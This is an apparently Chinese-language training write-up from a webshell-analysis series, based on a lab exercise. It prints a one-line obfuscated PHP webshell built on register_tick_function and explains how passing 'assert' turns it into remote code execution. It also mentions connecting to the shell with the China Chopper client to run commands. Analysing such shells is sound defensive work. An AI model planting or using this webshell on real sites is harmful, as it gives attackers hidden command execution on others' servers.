WebShell代碼分析溯源(十一)
一、一句話變形馬樣本
<?php $e = $_REQUEST['e'];declare(ticks=1);register_tick_function ($e, $_REQUEST['GET']);?>
二、代碼分析
1、調整代碼格式

2、分析代碼
2.1、首先使用REQUEST方法接收url中e引數傳遞的值, 然后執行declare函式和register_tick_function回呼函式,沒執行ticks=1行代碼,就執行一次register_tick_function函式中的代碼,
注: register_tick_function函式,這是每個tick上注冊一個執行函式,必須要和declare流程控制機制合并使用,Tick是一個在declare代碼段中解釋器每執行n條低級陳述句就會發生的事件,n的值是在declare中的directive部分用ticks=n來指定的,在每個tick中出現的事件是由register_tick_function()來指定的,
參考: https://www.php.net/manual/zh/function.register-tick-function.php
2.2、register_tick_function可以看做一個回呼函式,第二個引數,就是為該回呼的函式傳參用的,因此可以構造e=assert,此時就變成了assert($_REQUEST['GET']),
三、漏洞環境搭建
1、這里使用在線學習平臺墨者學院中的實驗環境(WebShell代碼分析溯源(第10題)),地址: https://www.mozhe.cn/bug/detail/b1gyYnp0MVRtVEpoWXV3TEtuMjZSZz09bW96aGUmozhe
2、代碼環境,下載代碼

3、分析(上面已經分析過了)
4、使用菜刀連接

5、執行一些命令

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/175736.html
標籤:其他
上一篇:XSS攻擊(跨站腳本攻擊)
下一篇:負載均衡
